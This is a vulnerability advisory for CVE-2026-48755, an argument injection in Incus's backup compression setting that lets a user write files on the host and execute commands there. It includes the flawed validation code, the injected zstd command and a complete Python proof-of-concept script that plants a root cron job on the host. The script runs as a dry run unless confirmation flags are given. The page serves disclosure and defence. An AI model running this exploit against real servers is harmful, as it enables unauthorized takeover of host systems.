Kestrel
대시보드로 돌아가기
CVE-2026-48755CRITICAL· 9.9GHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Incus has an argument injection in backup compression algorithm leading to AFW and ACE

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.9critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.9CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:

text
1fields, err := shellquote.Split(value)
2...
3if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
4 return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
5}
6_, err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:

text
1args := []string{"-c"}
2if len(fields) > 1 {
3 args = append(args, fields[1:]...)
4}
5cmd := exec.Command(fields[0], args...)
6cmd.Stdin = infile
7cmd.Stdout = outfile

With a value like:

text
1zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

text
1zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

text
1python3 poc.py \
2 --insecure --url https://remote-incus:8443 \
3 --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
4 --instance c01 \
5 --execute --yes-i-understand-this-writes-host-file

The following was generated by an LLM model.

python
1#!/usr/bin/env python3
2"""Short remote Incus backup compression zstd cron RCE PoC.
3
4Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:
5
6 zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>
7
8The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.
9"""
10
11from __future__ import annotations
12
13import argparse
14import json
15import os
16import shlex
17import sys
18import urllib.parse
19from pathlib import PurePosixPath
20from typing import Any
21
22import requests
23
24
25def q(value: str) -> str:
26 return urllib.parse.quote(value, safe="")
27
28
29def api(base: str, endpoint: str, **params: str) -> str:
30 return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")
31
32
33def project_instance(project: str, instance: str) -> str:
34 return instance if project == "default" else f"{project}_{instance}"
35
36
37def clean_guest_path(path: str) -> str:
38 if not path.startswith("/"):
39 raise ValueError("--guest-path must be absolute")
40 if ".." in PurePosixPath(path).parts:
41 raise ValueError("--guest-path must not contain '..'")
42 return os.path.normpath("/" + path.lstrip("/")).lstrip("/")
43
44
45def source_path(args: argparse.Namespace) -> str:
46 if args.source_host_path:
47 return args.source_host_path
48 return os.path.join(
49 args.incus_dir,
50 "storage-pools",
51 args.pool,
52 args.storage_kind,
53 project_instance(args.project, args.instance),
54 "rootfs",
55 clean_guest_path(args.guest_path),
56 )
57
58
59def cron(command: str) -> bytes:
60 return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()
61
62
63def session(args: argparse.Namespace) -> requests.Session:
64 s = requests.Session()
65 s.verify = False if args.insecure else (args.cacert or True)
66 if args.cert or args.key:
67 s.cert = (args.cert, args.key)
68 if args.token:
69 s.headers["Authorization"] = "Bearer " + args.token
70 s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
71 if args.insecure:
72 requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined]
73 return s
74
75
76def check(resp: requests.Response, what: str) -> requests.Response:
77 if resp.status_code >= 400:
78 try:
79 detail: Any = resp.json()
80 except Exception:
81 detail = resp.text[:2048]
82 raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
83 return resp
84
85
86def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
87 url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
88 headers = {
89 "Content-Type": "application/octet-stream",
90 "X-Incus-type": "file",
91 "X-Incus-write": "overwrite",
92 "X-Incus-uid": "0",
93 "X-Incus-gid": "0",
94 "X-Incus-mode": "0644",
95 }
96 print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
97 check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")
98
99
100def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
101 url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
102 print("[*] sending direct backup request")
103 resp = s.post(
104 url,
105 data=json.dumps(body).encode(),
106 headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
107 timeout=args.timeout,
108 stream=True,
109 )
110 print(f"[*] backup HTTP {resp.status_code}")
111 resp.close()
112 if resp.status_code >= 400:
113 print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")
114
115
116def parse_args() -> argparse.Namespace:
117 p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
118 p.add_argument("--url", required=True, help="https://host:8443")
119 p.add_argument("--cert", help="client certificate PEM")
120 p.add_argument("--key", help="client private key PEM")
121 p.add_argument("--cacert", help="CA certificate PEM")
122 p.add_argument("--token", help="bearer token")
123 p.add_argument("--insecure", action="store_true", help="disable TLS verification")
124 p.add_argument("--timeout", type=int, default=180)
125
126 p.add_argument("--project", default="default")
127 p.add_argument("--instance", required=True)
128 p.add_argument("--pool", default="default")
129 p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
130 p.add_argument("--incus-dir", default="/var/lib/incus")
131 p.add_argument("--guest-path", default="/incus-zstd-cron")
132 p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")
133 p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
134 p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")
135
136 p.add_argument("--execute", action="store_true", help="stage payload and send backup request")
137 p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")
138 args = p.parse_args()
139
140 if urllib.parse.urlparse(args.url).scheme != "https":
141 p.error("--url must use https")
142 if bool(args.cert) != bool(args.key):
143 p.error("--cert and --key must be supplied together")
144 if args.execute and not args.yes_i_understand_this_writes_host_file:
145 p.error("--execute requires --yes-i-understand-this-writes-host-file")
146 try:
147 clean_guest_path(args.guest_path)
148 except ValueError as exc:
149 p.error(str(exc))
150
151 args.url = args.url.rstrip("/")
152 return args
153
154
155def main() -> int:
156 args = parse_args()
157 src = source_path(args)
158 payload = cron(args.command)
159 compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
160 body = {"compression_algorithm": compressor, "instance_only": True}
161
162 print("[*] target:", args.url)
163 print("[*] project:", args.project)
164 print("[*] instance:", args.instance)
165 print("[*] source host path:", src)
166 print("[*] cron path:", args.cron_path)
167 print("[*] payload:", payload.decode().rstrip())
168 print("[*] backup body:", json.dumps(body, sort_keys=True))
169
170 if not args.execute:
171 print("[*] dry run only; add --execute and the confirmation flag to act")
172 return 0
173
174 s = session(args)
175 upload(s, args, payload)
176 trigger_backup(s, args, body)
177 return 0
178
179
180if __name__ == "__main__":
181 try:
182 raise SystemExit(main())
183 except BrokenPipeError:
184 raise SystemExit(1)
185 except Exception as exc:
186 print(f"[-] {exc}", file=sys.stderr)
187 raise SystemExit(1)

Impact

Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with zstd and possibly arbitrary command execution.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.